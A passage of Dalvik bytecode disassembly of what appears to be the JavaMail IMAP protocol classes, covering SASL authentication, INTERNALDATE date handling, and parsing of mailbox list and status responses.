00000090  move-result-object      v7
00000092  if-nez                  v7, :130
:96
00000096  move-object/from16      v0, p0
0000009A  iget-boolean            v4, v0, IMAPSaslAuthenticator->debug:Z
0000009E  if-eqz                  v4, :B4
:A2
000000A2  move-object/from16      v0, p0
000000A6  iget-object             v4, v0, IMAPSaslAuthenticator->out:PrintStream
000000AA  const-string            v5, "IMAP SASL DEBUG: No SASL support"
000000AE  invoke-virtual          PrintStream->println(String)V, v4, v5
:B4
000000B4  monitor-exit            v12
000000B6  const/4                 v4, 0x0
:B8
000000B8  return                  v4
:BA
000000BA  move-object/from16      v0, p0
000000BE  iget-object             v5, v0, IMAPSaslAuthenticator->out:PrintStream
000000C2  new-instance            v6, StringBuilder
000000C6  const-string            v7, " "
000000CA  invoke-direct           StringBuilder-><init>(String)V, v6, v7
000000D0  aget-object             v7, p1, v4
000000D4  invoke-virtual          StringBuilder->append(String)StringBuilder, v6, v7
000000DA  move-result-object      v6
000000DC  invoke-virtual          StringBuilder->toString()String, v6
000000E2  move-result-object      v6
000000E4  invoke-virtual          PrintStream->print(String)V, v5, v6
000000EA  add-int/lit8            v4, v4, 0x1
000000EE  goto                    :38
:F0
000000F0  move-exception          v4
000000F2  move-object/from16      v0, p0
000000F6  iget-boolean            v5, v0, IMAPSaslAuthenticator->debug:Z
000000FA  if-eqz                  v5, :12A
:FE
000000FE  move-object/from16      v0, p0
00000102  iget-object             v5, v0, IMAPSaslAuthenticator->out:PrintStream
00000106  new-instance            v6, StringBuilder
0000010A  const-string            v7, "IMAP SASL DEBUG: Failed to create SASL client: "
0000010E  invoke-direct           StringBuilder-><init>(String)V, v6, v7
00000114  invoke-virtual          StringBuilder->append(Object)StringBuilder, v6, v4
0000011A  move-result-object      v4
0000011C  invoke-virtual          StringBuilder->toString()String, v4
00000122  move-result-object      v4
00000124  invoke-virtual          PrintStream->println(String)V, v5, v4
:12A
0000012A  monitor-exit            v12
0000012C  const/4                 v4, 0x0
0000012E  goto                    :B8
:130
00000130  move-object/from16      v0, p0
00000134  iget-boolean            v4, v0, IMAPSaslAuthenticator->debug:Z
00000138  if-eqz                  v4, :170
:13C
0000013C  move-object/from16      v0, p0
00000140  iget-object             v4, v0, IMAPSaslAuthenticator->out:PrintStream
00000144  new-instance            v5, StringBuilder
00000148  const-string            v6, "IMAP SASL DEBUG: SASL client "
0000014C  invoke-direct           StringBuilder-><init>(String)V, v5, v6
00000152  invoke-interface        SaslClient->getMechanismName()String, v7
00000158  move-result-object      v6
0000015A  invoke-virtual          StringBuilder->append(String)StringBuilder, v5, v6
00000160  move-result-object      v5
00000162  invoke-virtual          StringBuilder->toString()String, v5
00000168  move-result-object      v5
0000016A  invoke-virtual          PrintStream->println(String)V, v4, v5
:170
00000170  move-object/from16      v0, p0
00000174  iget-object             v4, v0, IMAPSaslAuthenticator->pr:IMAPProtocol
00000178  new-instance            v5, StringBuilder
0000017C  const-string            v6, "AUTHENTICATE "
00000180  invoke-direct           StringBuilder-><init>(String)V, v5, v6
00000186  invoke-interface        SaslClient->getMechanismName()String, v7
0000018C  move-result-object      v6
0000018E  invoke-virtual          StringBuilder->append(String)StringBuilder, v5, v6
00000194  move-result-object      v5
00000196  invoke-virtual          StringBuilder->toString()String, v5
0000019C  move-result-object      v5
0000019E  const/4                 v6, 0x0
000001A0  invoke-virtual          IMAPProtocol->writeCommand(String, Argument)String, v4, v5, v6
:1A6
000001A6  move-result-object      v8
:1A8
000001A8  move-object/from16      v0, p0
000001AC  iget-object             v4, v0, IMAPSaslAuthenticator->pr:IMAPProtocol
000001B0  invoke-virtual          IMAPProtocol->getIMAPOutputStream()OutputStream, v4
000001B6  move-result-object      v9
000001B8  new-instance            v14, ByteArrayOutputStream
000001BC  invoke-direct           ByteArrayOutputStream-><init>()V, v14
000001C2  const/4                 v4, 0x2
000001C4  new-array               v15, v4, [B
000001C8  fill-array-data         v15, :4F0
000001CE  invoke-interface        SaslClient->getMechanismName()String, v7
000001D4  move-result-object      v4
000001D6  const-string            v5, "XGWTRUSTEDAPP"
000001DA  invoke-virtual          String->equals(Object)Z, v4, v5
000001E0  move-result             v16
000001E2  move                    v5, v10
000001E4  move-object             v6, v11
:1E6
000001E6  if-eqz                  v5, :292
:1EA
000001EA  invoke-interface        SaslClient->isComplete()Z, v7
000001F0  move-result             v4
000001F2  if-eqz                  v4, :4AC
:1F6
000001F6  const-string            v4, "javax.security.sasl.qop"
000001FA  invoke-interface        SaslClient->getNegotiatedProperty(String)Object, v7, v4
00000200  move-result-object      v4
00000202  check-cast              v4, String
00000206  if-eqz                  v4, :4AC
:20A
0000020A  const-string            v5, "auth-int"
0000020E  invoke-virtual          String->equalsIgnoreCase(String)Z, v4, v5
00000214  move-result             v5
00000216  if-nez                  v5, :22A
:21A
0000021A  const-string            v5, "auth-conf"
0000021E  invoke-virtual          String->equalsIgnoreCase(String)Z, v4, v5
00000224  move-result             v4
00000226  if-eqz                  v4, :4AC
:22A
0000022A  move-object/from16      v0, p0
0000022E  iget-boolean            v4, v0, IMAPSaslAuthenticator->debug:Z
00000232  if-eqz                  v4, :248
:236
00000236  move-object/from16      v0, p0
0000023A  iget-object             v4, v0, IMAPSaslAuthenticator->out:PrintStream
0000023E  const-string            v5, "IMAP SASL DEBUG: Mechanism requires integrity or confidentiality"
00000242  invoke-virtual          PrintStream->println(String)V, v4, v5
:248
00000248  monitor-exit            v12
0000024A  const/4                 v4, 0x0
0000024C  goto/16                 :B8
:250
00000250  move-exception          v4
00000252  move-object/from16      v0, p0
00000256  iget-boolean            v5, v0, IMAPSaslAuthenticator->debug:Z
0000025A  if-eqz                  v5, :28A
:25E
0000025E  move-object/from16      v0, p0
00000262  iget-object             v5, v0, IMAPSaslAuthenticator->out:PrintStream
00000266  new-instance            v6, StringBuilder
0000026A  const-string            v7, "IMAP SASL DEBUG: AUTHENTICATE Exception: "
0000026E  invoke-direct           StringBuilder-><init>(String)V, v6, v7
00000274  invoke-virtual          StringBuilder->append(Object)StringBuilder, v6, v4
0000027A  move-result-object      v4
0000027C  invoke-virtual          StringBuilder->toString()String, v4
00000282  move-result-object      v4
00000284  invoke-virtual          PrintStream->println(String)V, v5, v4
:28A
0000028A  monitor-exit            v12
:28C
0000028C  const/4                 v4, 0x0
0000028E  goto/16                 :B8
:292
00000292  move-object/from16      v0, p0
00000296  iget-object             v4, v0, IMAPSaslAuthenticator->pr:IMAPProtocol
0000029A  invoke-virtual          IMAPProtocol->readResponse()Response, v4
000002A0  move-result-object      v6
000002A2  invoke-virtual          Response->isContinuation()Z, v6
000002A8  move-result             v4
000002AA  if-eqz                  v4, :466
:2AE
000002AE  const/4                 v4, 0x0
000002B0  check-cast              v4, [B
000002B4  invoke-interface        SaslClient->isComplete()Z, v7
000002BA  move-result             v10
000002BC  if-nez                  v10, :350
:2C0
000002C0  invoke-virtual          Response->readByteArray()ByteArray, v6
000002C6  move-result-object      v4
000002C8  invoke-virtual          ByteArray->getNewBytes()[B, v4
000002CE  move-result-object      v4
000002D0  array-length            v10, v4
000002D2  if-lez                  v10, :2DE
:2D6
000002D6  invoke-static           BASE64DecoderStream->decode([B)[B, v4
000002DC  move-result-object      v4
:2DE
000002DE  move-object/from16      v0, p0
000002E2  iget-boolean            v10, v0, IMAPSaslAuthenticator->debug:Z
000002E6  if-eqz                  v10, :348
:2EA
000002EA  move-object/from16      v0, p0
000002EE  iget-object             v10, v0, IMAPSaslAuthenticator->out:PrintStream
000002F2  new-instance            v11, StringBuilder
000002F6  const-string            v17, "IMAP SASL DEBUG: challenge: "
000002FA  move-object/from16      v0, v17
000002FE  invoke-direct           StringBuilder-><init>(String)V, v11, v0
00000304  const/16                v17, 0x0
00000308  array-length            v0, v4
0000030A  move/from16             v18, v0
0000030E  move/from16             v0, v17
00000312  move/from16             v1, v18
00000316  invoke-static           ASCIIUtility->toString([B, I, I)String, v4, v0, v1
0000031C  move-result-object      v17
0000031E  move-object/from16      v0, v17
00000322  invoke-virtual          StringBuilder->append(String)StringBuilder, v11, v0
00000328  move-result-object      v11
0000032A  const-string            v17, " :"
0000032E  move-object/from16      v0, v17
00000332  invoke-virtual          StringBuilder->append(String)StringBuilder, v11, v0
00000338  move-result-object      v11
0000033A  invoke-virtual          StringBuilder->toString()String, v11
00000340  move-result-object      v11
00000342  invoke-virtual          PrintStream->println(String)V, v10, v11
:348
00000348  invoke-interface        SaslClient->evaluateChallenge([B)[B, v7, v4
0000034E  move-result-object      v4
:350
00000350  if-nez                  v4, :3AE
:354
00000354  move-object/from16      v0, p0
00000358  iget-boolean            v4, v0, IMAPSaslAuthenticator->debug:Z
0000035C  if-eqz                  v4, :372
:360
00000360  move-object/from16      v0, p0
00000364  iget-object             v4, v0, IMAPSaslAuthenticator->out:PrintStream
00000368  const-string            v10, "IMAP SASL DEBUG: no response"
0000036C  invoke-virtual          PrintStream->println(String)V, v4, v10
:372
00000372  invoke-virtual          OutputStream->write([B)V, v9, v15
00000378  invoke-virtual          OutputStream->flush()V, v9
0000037E  invoke-virtual          ByteArrayOutputStream->reset()V, v14
:384
00000384  goto/16                 :1E6
:388
00000388  move-exception          v4
:38A
0000038A  move-object/from16      v0, p0
0000038E  iget-boolean            v5, v0, IMAPSaslAuthenticator->debug:Z
00000392  if-eqz                  v5, :39C
:396
00000396  invoke-virtual          Exception->printStackTrace()V, v4
:39C
0000039C  invoke-static           Response->byeResponse(Exception)Response, v4
:3A2
000003A2  move-result-object      v5
000003A4  const/4                 v4, 0x1
000003A6  move-object             v6, v5
000003A8  move                    v5, v4
000003AA  goto/16                 :1E6
:3AE
000003AE  move-object/from16      v0, p0
000003B2  iget-boolean            v10, v0, IMAPSaslAuthenticator->debug:Z
000003B6  if-eqz                  v10, :418
:3BA
000003BA  move-object/from16      v0, p0
000003BE  iget-object             v10, v0, IMAPSaslAuthenticator->out:PrintStream
000003C2  new-instance            v11, StringBuilder
000003C6  const-string            v17, "IMAP SASL DEBUG: response: "
000003CA  move-object/from16      v0, v17
000003CE  invoke-direct           StringBuilder-><init>(String)V, v11, v0
000003D4  const/16                v17, 0x0
000003D8  array-length            v0, v4
000003DA  move/from16             v18, v0
000003DE  move/from16             v0, v17
000003E2  move/from16             v1, v18
000003E6  invoke-static           ASCIIUtility->toString([B, I, I)String, v4, v0, v1
000003EC  move-result-object      v17
000003EE  move-object/from16      v0, v17
000003F2  invoke-virtual          StringBuilder->append(String)StringBuilder, v11, v0
000003F8  move-result-object      v11
000003FA  const-string            v17, " :"
000003FE  move-object/from16      v0, v17
00000402  invoke-virtual          StringBuilder->append(String)StringBuilder, v11, v0
00000408  move-result-object      v11
0000040A  invoke-virtual          StringBuilder->toString()String, v11
00000410  move-result-object      v11
00000412  invoke-virtual          PrintStream->println(String)V, v10, v11
:418
00000418  invoke-static           BASE64EncoderStream->encode([B)[B, v4
0000041E  move-result-object      v4
00000420  if-eqz                  v16, :436
:424
00000424  const-string            v10, "XGWTRUSTEDAPP "
00000428  invoke-virtual          String->getBytes()[B, v10
0000042E  move-result-object      v10
00000430  invoke-virtual          ByteArrayOutputStream->write([B)V, v14, v10
:436
00000436  invoke-virtual          ByteArrayOutputStream->write([B)V, v14, v4
0000043C  invoke-virtual          ByteArrayOutputStream->write([B)V, v14, v15
00000442  invoke-virtual          ByteArrayOutputStream->toByteArray()[B, v14
00000448  move-result-object      v4
0000044A  invoke-virtual          OutputStream->write([B)V, v9, v4
00000450  invoke-virtual          OutputStream->flush()V, v9
00000456  invoke-virtual          ByteArrayOutputStream->reset()V, v14
:45C
0000045C  goto/16                 :1E6
:460
00000460  move-exception          v4
:462
00000462  monitor-exit            v12
:464
00000464  throw                   v4
:466
00000466  invoke-virtual          Response->isTagged()Z, v6
0000046C  move-result             v4
0000046E  if-eqz                  v4, :48E
:472
00000472  invoke-virtual          Response->getTag()String, v6
00000478  move-result-object      v4
0000047A  invoke-virtual          String->equals(Object)Z, v4, v8
00000480  move-result             v4
00000482  if-eqz                  v4, :48E
:486
00000486  const/4                 v4, 0x1
00000488  move                    v5, v4
0000048A  goto/16                 :1E6
:48E
0000048E  invoke-virtual          Response->isBYE()Z, v6
00000494  move-result             v4
00000496  if-eqz                  v4, :4A2
:49A
0000049A  const/4                 v4, 0x1
0000049C  move                    v5, v4
0000049E  goto/16                 :1E6
:4A2
000004A2  invoke-virtual          Vector->addElement(Object)V, v13, v6
:4A8
000004A8  goto/16                 :1E6
:4AC
000004AC  invoke-virtual          Vector->size()I, v13
000004B2  move-result             v4
000004B4  new-array               v4, v4, [Response
000004B8  invoke-virtual          Vector->copyInto([Object)V, v13, v4
000004BE  move-object/from16      v0, p0
000004C2  iget-object             v5, v0, IMAPSaslAuthenticator->pr:IMAPProtocol
000004C6  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, v5, v4
000004CC  move-object/from16      v0, p0
000004D0  iget-object             v4, v0, IMAPSaslAuthenticator->pr:IMAPProtocol
000004D4  invoke-virtual          IMAPProtocol->handleResult(Response)V, v4, v6
000004DA  move-object/from16      v0, p0
000004DE  iget-object             v4, v0, IMAPSaslAuthenticator->pr:IMAPProtocol
000004E2  invoke-virtual          IMAPProtocol->setCapabilities(Response)V, v4, v6
000004E8  monitor-exit            v12
:4EA
000004EA  const/4                 v4, 0x1
000004EC  goto/16                 :B8
          .catchall {:A .. :6A} :460
          .catch SaslException {:6A .. :90} :F0
          .catchall {:6A .. :90} :460
          .catchall {:96 .. :170} :460
          .catch Exception {:170 .. :1A6} :250
          .catchall {:170 .. :1A6} :460
          .catchall {:1A8 .. :28C} :460
          .catch Exception {:292 .. :384} :388
          .catchall {:292 .. :384} :460
          .catchall {:38A .. :3A2} :460
          .catch Exception {:3AE .. :45C} :388
          .catchall {:3AE .. :45C} :460
          .catchall {:462 .. :464} :460
          .catch Exception {:466 .. :4A8} :388
          .catchall {:466 .. :4A8} :460
          .catchall {:4AC .. :4EA} :460
000004F0  .array-data 1 x 0x2
              0xD
              0xA
          .end array-data
.end method

#--------------------------------------------------------------------------------
.class public INTERNALDATE
.super Object
.source ""

.implements Item

.field private static df:SimpleDateFormat
.field private static mailDateFormat:MailDateFormat
.field static final name:[C
.field protected date:Date
.field public msgno:I

.method static constructor <clinit>()V
          .registers 3
00000000  const/16                v0, 0xC
00000004  new-array               v0, v0, [C
00000008  fill-array-data         v0, :38
0000000E  sput-object             v0, INTERNALDATE->name:[C
00000012  new-instance            v0, MailDateFormat
00000016  invoke-direct           MailDateFormat-><init>()V, v0
0000001C  sput-object             v0, INTERNALDATE->mailDateFormat:MailDateFormat
00000020  new-instance            v0, SimpleDateFormat
00000024  const-string            v1, "dd-MMM-yyyy HH:mm:ss "
00000028  sget-object             v2, Locale->US:Locale
0000002C  invoke-direct           SimpleDateFormat-><init>(String, Locale)V, v0, v1, v2
00000032  sput-object             v0, INTERNALDATE->df:SimpleDateFormat
00000036  return-void
00000038  .array-data 2 x 0xC
              0x49
              0x4E
              0x54
              0x45
              0x52
              0x4E
              0x41
              0x4C
              0x44
              0x41
              0x54
              0x45
          .end array-data
.end method

.method public constructor <init>(FetchResponse)V
          .registers 4
00000000  invoke-direct           Object-><init>()V, p0
00000006  invoke-virtual          FetchResponse->getNumber()I, p1
0000000C  move-result             v0
0000000E  iput                    v0, p0, INTERNALDATE->msgno:I
00000012  invoke-virtual          FetchResponse->skipSpaces()V, p1
00000018  invoke-virtual          FetchResponse->readString()String, p1
0000001E  move-result-object      v0
00000020  if-nez                  v0, :34
:24
00000024  new-instance            v0, ParsingException
00000028  const-string            v1, "INTERNALDATE is NIL"
0000002C  invoke-direct           ParsingException-><init>(String)V, v0, v1
00000032  throw                   v0
:34
00000034  sget-object             v1, INTERNALDATE->mailDateFormat:MailDateFormat
00000038  invoke-virtual          MailDateFormat->parse(String)Date, v1, v0
0000003E  move-result-object      v0
00000040  iput-object             v0, p0, INTERNALDATE->date:Date
:44
00000044  return-void
:46
00000046  move-exception          v0
00000048  new-instance            v0, ParsingException
0000004C  const-string            v1, "INTERNALDATE parse error"
00000050  invoke-direct           ParsingException-><init>(String)V, v0, v1
00000056  throw                   v0
          .catch ParseException {:34 .. :44} :46
.end method

.method public static format(Date)String
          .registers 7
00000000  const/16                v5, 0xA
00000004  new-instance            v1, StringBuffer
00000008  invoke-direct           StringBuffer-><init>()V, v1
0000000E  sget-object             v2, INTERNALDATE->df:SimpleDateFormat
00000012  monitor-enter           v2
:14
00000014  sget-object             v0, INTERNALDATE->df:SimpleDateFormat
00000018  new-instance            v3, FieldPosition
0000001C  const/4                 v4, 0x0
0000001E  invoke-direct           FieldPosition-><init>(I)V, v3, v4
00000024  invoke-virtual          SimpleDateFormat->format(Date, StringBuffer, FieldPosition)StringBuffer, v0, p0, v1, v3
0000002A  monitor-exit            v2
:2C
0000002C  invoke-virtual          Date->getTimezoneOffset()I, p0
00000032  move-result             v0
00000034  neg-int                 v0, v0
00000036  if-gez                  v0, :A6
:3A
0000003A  const/16                v2, 0x2D
0000003E  invoke-virtual          StringBuffer->append(C)StringBuffer, v1, v2
00000044  neg-int                 v0, v0
:46
00000046  div-int/lit8            v2, v0, 0x3C
0000004A  rem-int/lit8            v0, v0, 0x3C
0000004E  div-int/lit8            v3, v2, 0xA
00000052  invoke-static           Character->forDigit(I, I)C, v3, v5
00000058  move-result             v3
0000005A  invoke-virtual          StringBuffer->append(C)StringBuffer, v1, v3
00000060  rem-int/lit8            v2, v2, 0xA
00000064  invoke-static           Character->forDigit(I, I)C, v2, v5
0000006A  move-result             v2
0000006C  invoke-virtual          StringBuffer->append(C)StringBuffer, v1, v2
00000072  div-int/lit8            v2, v0, 0xA
00000076  invoke-static           Character->forDigit(I, I)C, v2, v5
0000007C  move-result             v2
0000007E  invoke-virtual          StringBuffer->append(C)StringBuffer, v1, v2
00000084  rem-int/lit8            v0, v0, 0xA
00000088  invoke-static           Character->forDigit(I, I)C, v0, v5
0000008E  move-result             v0
00000090  invoke-virtual          StringBuffer->append(C)StringBuffer, v1, v0
00000096  invoke-virtual          StringBuffer->toString()String, v1
0000009C  move-result-object      v0
0000009E  return-object           v0
:A0
000000A0  move-exception          v0
:A2
000000A2  monitor-exit            v2
:A4
000000A4  throw                   v0
:A6
000000A6  const/16                v2, 0x2B
000000AA  invoke-virtual          StringBuffer->append(C)StringBuffer, v1, v2
000000B0  goto                    :46
          .catchall {:14 .. :2C} :A0
          .catchall {:A2 .. :A4} :A0
.end method

.method public getDate()Date
          .registers 2
00000000  iget-object             v0, p0, INTERNALDATE->date:Date
00000004  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public ListInfo
.super Object
.source ""

.field public static final CHANGED:I = 0x1
.field public static final INDETERMINATE:I = 0x3
.field public static final UNCHANGED:I = 0x2
.field public attrs:[String
.field public canOpen:Z
.field public changeState:I
.field public hasInferiors:Z
.field public name:String
.field public separator:C

.method public constructor <init>(IMAPResponse)V
          .registers 10
00000000  const/4                 v7, 0x2
00000002  const/4                 v1, 0x0
00000004  const/4                 v6, 0x1
00000006  invoke-direct           Object-><init>()V, p0
0000000C  const/4                 v0, 0x0
0000000E  iput-object             v0, p0, ListInfo->name:String
00000012  const/16                v0, 0x2F
00000016  iput-char               v0, p0, ListInfo->separator:C
0000001A  iput-boolean            v6, p0, ListInfo->hasInferiors:Z
0000001E  iput-boolean            v6, p0, ListInfo->canOpen:Z
00000022  const/4                 v0, 0x3
00000024  iput                    v0, p0, ListInfo->changeState:I
00000028  invoke-virtual          IMAPResponse->readSimpleList()[String, p1
0000002E  move-result-object      v2
00000030  new-instance            v3, Vector
00000034  invoke-direct           Vector-><init>()V, v3
0000003A  if-eqz                  v2, :46
:3E
0000003E  move                    v0, v1
:40
00000040  array-length            v4, v2
00000042  if-lt                   v0, v4, :C4
:46
00000046  invoke-virtual          Vector->size()I, v3
0000004C  move-result             v0
0000004E  new-array               v0, v0, [String
00000052  iput-object             v0, p0, ListInfo->attrs:[String
00000056  iget-object             v0, p0, ListInfo->attrs:[String
0000005A  invoke-virtual          Vector->copyInto([Object)V, v3, v0
00000060  invoke-virtual          IMAPResponse->skipSpaces()V, p1
00000066  invoke-virtual          IMAPResponse->readByte()B, p1
0000006C  move-result             v0
0000006E  const/16                v1, 0x22
00000072  if-ne                   v0, v1, :13A
:76
00000076  invoke-virtual          IMAPResponse->readByte()B, p1
0000007C  move-result             v0
0000007E  int-to-char             v0, v0
00000080  iput-char               v0, p0, ListInfo->separator:C
00000084  const/16                v1, 0x5C
00000088  if-ne                   v0, v1, :9A
:8C
0000008C  invoke-virtual          IMAPResponse->readByte()B, p1
00000092  move-result             v0
00000094  int-to-char             v0, v0
00000096  iput-char               v0, p0, ListInfo->separator:C
:9A
0000009A  invoke-virtual          IMAPResponse->skip(I)V, p1, v6
:A0
000000A0  invoke-virtual          IMAPResponse->skipSpaces()V, p1
000000A6  invoke-virtual          IMAPResponse->readAtomString()String, p1
000000AC  move-result-object      v0
000000AE  iput-object             v0, p0, ListInfo->name:String
000000B2  iget-object             v0, p0, ListInfo->name:String
000000B6  invoke-static           BASE64MailboxDecoder->decode(String)String, v0
000000BC  move-result-object      v0
000000BE  iput-object             v0, p0, ListInfo->name:String
000000C2  return-void
:C4
000000C4  aget-object             v4, v2, v0
000000C8  const-string            v5, "\\Marked"
000000CC  invoke-virtual          String->equalsIgnoreCase(String)Z, v4, v5
000000D2  move-result             v4
000000D4  if-eqz                  v4, :EC
:D8
000000D8  iput                    v6, p0, ListInfo->changeState:I
:DC
000000DC  aget-object             v4, v2, v0
000000E0  invoke-virtual          Vector->addElement(Object)V, v3, v4
000000E6  add-int/lit8            v0, v0, 0x1
000000EA  goto                    :40
:EC
000000EC  aget-object             v4, v2, v0
000000F0  const-string            v5, "\\Unmarked"
000000F4  invoke-virtual          String->equalsIgnoreCase(String)Z, v4, v5
000000FA  move-result             v4
000000FC  if-eqz                  v4, :106
:100
00000100  iput                    v7, p0, ListInfo->changeState:I
00000104  goto                    :DC
:106
00000106  aget-object             v4, v2, v0
0000010A  const-string            v5, "\\Noselect"
0000010E  invoke-virtual          String->equalsIgnoreCase(String)Z, v4, v5
00000114  move-result             v4
00000116  if-eqz                  v4, :120
:11A
0000011A  iput-boolean            v1, p0, ListInfo->canOpen:Z
0000011E  goto                    :DC
:120
00000120  aget-object             v4, v2, v0
00000124  const-string            v5, "\\Noinferiors"
00000128  invoke-virtual          String->equalsIgnoreCase(String)Z, v4, v5
0000012E  move-result             v4
00000130  if-eqz                  v4, :DC
:134
00000134  iput-boolean            v1, p0, ListInfo->hasInferiors:Z
00000138  goto                    :DC
:13A
0000013A  invoke-virtual          IMAPResponse->skip(I)V, p1, v7
00000140  goto                    :A0
.end method

#--------------------------------------------------------------------------------
.class public MailboxInfo
.super Object
.source ""

.field public availableFlags:Flags
.field public first:I
.field public mode:I
.field public permanentFlags:Flags
.field public recent:I
.field public total:I
.field public uidnext:J
.field public uidvalidity:J

.method public constructor <init>([Response)V
          .registers 9
00000000  const-wide/16           v3, 0xFFFFFFFFFFFFFFFF
00000004  const/4                 v2, 0x0
00000006  const/4                 v0, 0xFFFFFFFFFFFFFFFF
00000008  const/4                 v6, 0x0
0000000A  invoke-direct           Object-><init>()V, p0
00000010  iput-object             v6, p0, MailboxInfo->availableFlags:Flags
00000014  iput-object             v6, p0, MailboxInfo->permanentFlags:Flags
00000018  iput                    v0, p0, MailboxInfo->total:I
0000001C  iput                    v0, p0, MailboxInfo->recent:I
00000020  iput                    v0, p0, MailboxInfo->first:I
00000024  iput-wide               v3, p0, MailboxInfo->uidvalidity:J
00000028  iput-wide               v3, p0, MailboxInfo->uidnext:J
0000002C  move                    v1, v2
:2E
0000002E  array-length            v0, p1
00000030  if-lt                   v1, v0, :58
:34
00000034  iget-object             v0, p0, MailboxInfo->permanentFlags:Flags
00000038  if-nez                  v0, :56
:3C
0000003C  iget-object             v0, p0, MailboxInfo->availableFlags:Flags
00000040  if-eqz                  v0, :1B4
:44
00000044  new-instance            v0, Flags
00000048  iget-object             v1, p0, MailboxInfo->availableFlags:Flags
0000004C  invoke-direct           Flags-><init>(Flags)V, v0, v1
00000052  iput-object             v0, p0, MailboxInfo->permanentFlags:Flags
:56
00000056  return-void
:58
00000058  aget-object             v0, p1, v1
0000005C  if-eqz                  v0, :6C
:60
00000060  aget-object             v0, p1, v1
00000064  instance-of             v0, v0, IMAPResponse
00000068  if-nez                  v0, :74
:6C
0000006C  add-int/lit8            v0, v1, 0x1
00000070  move                    v1, v0
00000072  goto                    :2E
:74
00000074  aget-object             v0, p1, v1
00000078  check-cast              v0, IMAPResponse
0000007C  const-string            v3, "EXISTS"
00000080  invoke-virtual          IMAPResponse->keyEquals(String)Z, v0, v3
00000086  move-result             v3
00000088  if-eqz                  v3, :9E
:8C
0000008C  invoke-virtual          IMAPResponse->getNumber()I, v0
00000092  move-result             v0
00000094  iput                    v0, p0, MailboxInfo->total:I
00000098  aput-object             v6, p1, v1
0000009C  goto                    :6C
:9E
0000009E  const-string            v3, "RECENT"
000000A2  invoke-virtual          IMAPResponse->keyEquals(String)Z, v0, v3
000000A8  move-result             v3
000000AA  if-eqz                  v3, :C0
:AE
000000AE  invoke-virtual          IMAPResponse->getNumber()I, v0
000000B4  move-result             v0
000000B6  iput                    v0, p0, MailboxInfo->recent:I
000000BA  aput-object             v6, p1, v1
000000BE  goto                    :6C
:C0
000000C0  const-string            v3, "FLAGS"
000000C4  invoke-virtual          IMAPResponse->keyEquals(String)Z, v0, v3
000000CA  move-result             v3
000000CC  if-eqz                  v3, :E4
:D0
000000D0  new-instance            v3, FLAGS
000000D4  invoke-direct           FLAGS-><init>(IMAPResponse)V, v3, v0
000000DA  iput-object             v3, p0, MailboxInfo->availableFlags:Flags
000000DE  aput-object             v6, p1, v1
000000E2  goto                    :6C
:E4
000000E4  invoke-virtual          IMAPResponse->isUnTagged()Z, v0
000000EA  move-result             v3
000000EC  if-eqz                  v3, :6C
:F0
000000F0  invoke-virtual          IMAPResponse->isOK()Z, v0
000000F6  move-result             v3
000000F8  if-eqz                  v3, :6C
:FC
000000FC  invoke-virtual          IMAPResponse->skipSpaces()V, v0
00000102  invoke-virtual          IMAPResponse->readByte()B, v0
00000108  move-result             v3
0000010A  const/16                v4, 0x5B
0000010E  if-eq                   v3, v4, :11A
:112
00000112  invoke-virtual          IMAPResponse->reset()V, v0
00000118  goto                    :6C
:11A
0000011A  const/4                 v3, 0x1
0000011C  invoke-virtual          IMAPResponse->readAtom()String, v0
00000122  move-result-object      v4
00000124  const-string            v5, "UNSEEN"
00000128  invoke-virtual          String->equalsIgnoreCase(String)Z, v4, v5
0000012E  move-result             v5
00000130  if-eqz                  v5, :14A
:134
00000134  invoke-virtual          IMAPResponse->readNumber()I, v0
0000013A  move-result             v4
0000013C  iput                    v4, p0, MailboxInfo->first:I
:140
00000140  if-eqz                  v3, :1AA
:144
00000144  aput-object             v6, p1, v1
00000148  goto                    :6C
:14A
0000014A  const-string            v5, "UIDVALIDITY"
0000014E  invoke-virtual          String->equalsIgnoreCase(String)Z, v4, v5
00000154  move-result             v5
00000156  if-eqz                  v5, :168
:15A
0000015A  invoke-virtual          IMAPResponse->readLong()J, v0
00000160  move-result-wide        v4
00000162  iput-wide               v4, p0, MailboxInfo->uidvalidity:J
00000166  goto                    :140
:168
00000168  const-string            v5, "PERMANENTFLAGS"
0000016C  invoke-virtual          String->equalsIgnoreCase(String)Z, v4, v5
00000172  move-result             v5
00000174  if-eqz                  v5, :188
:178
00000178  new-instance            v4, FLAGS
0000017C  invoke-direct           FLAGS-><init>(IMAPResponse)V, v4, v0
00000182  iput-object             v4, p0, MailboxInfo->permanentFlags:Flags
00000186  goto                    :140
:188
00000188  const-string            v5, "UIDNEXT"
0000018C  invoke-virtual          String->equalsIgnoreCase(String)Z, v4, v5
00000192  move-result             v4
00000194  if-eqz                  v4, :1A6
:198
00000198  invoke-virtual          IMAPResponse->readLong()J, v0
0000019E  move-result-wide        v4
000001A0  iput-wide               v4, p0, MailboxInfo->uidnext:J
000001A4  goto                    :140
:1A6
000001A6  move                    v3, v2
000001A8  goto                    :140
:1AA
000001AA  invoke-virtual          IMAPResponse->reset()V, v0
000001B0  goto/16                 :6C
:1B4
000001B4  new-instance            v0, Flags
000001B8  invoke-direct           Flags-><init>()V, v0
000001BE  iput-object             v0, p0, MailboxInfo->permanentFlags:Flags
000001C2  goto/16                 :56
.end method

#--------------------------------------------------------------------------------
.class public MessageSet
.super Object
.source ""

.field public end:I
.field public start:I

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method public constructor <init>(I, I)V
          .registers 3
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput                    p1, p0, MessageSet->start:I
0000000A  iput                    p2, p0, MessageSet->end:I
0000000E  return-void
.end method

.method public static createMessageSets([I)[MessageSet
          .registers 6
00000000  new-instance            v1, Vector
00000004  invoke-direct           Vector-><init>()V, v1
0000000A  const/4                 v0, 0x0
:C
0000000C  array-length            v2, p0
0000000E  if-lt                   v0, v2, :26
:12
00000012  invoke-virtual          Vector->size()I, v1
00000018  move-result             v0
0000001A  new-array               v0, v0, [MessageSet
0000001E  invoke-virtual          Vector->copyInto([Object)V, v1, v0
00000024  return-object           v0
:26
00000026  new-instance            v2, MessageSet
0000002A  invoke-direct           MessageSet-><init>()V, v2
00000030  aget                    v3, p0, v0
00000034  iput                    v3, v2, MessageSet->start:I
00000038  add-int/lit8            v0, v0, 0x1
:3C
0000003C  array-length            v3, p0
0000003E  if-lt                   v0, v3, :5E
:42
00000042  add-int/lit8            v3, v0, 0xFFFFFFFFFFFFFFFF
00000046  aget                    v3, p0, v3
0000004A  iput                    v3, v2, MessageSet->end:I
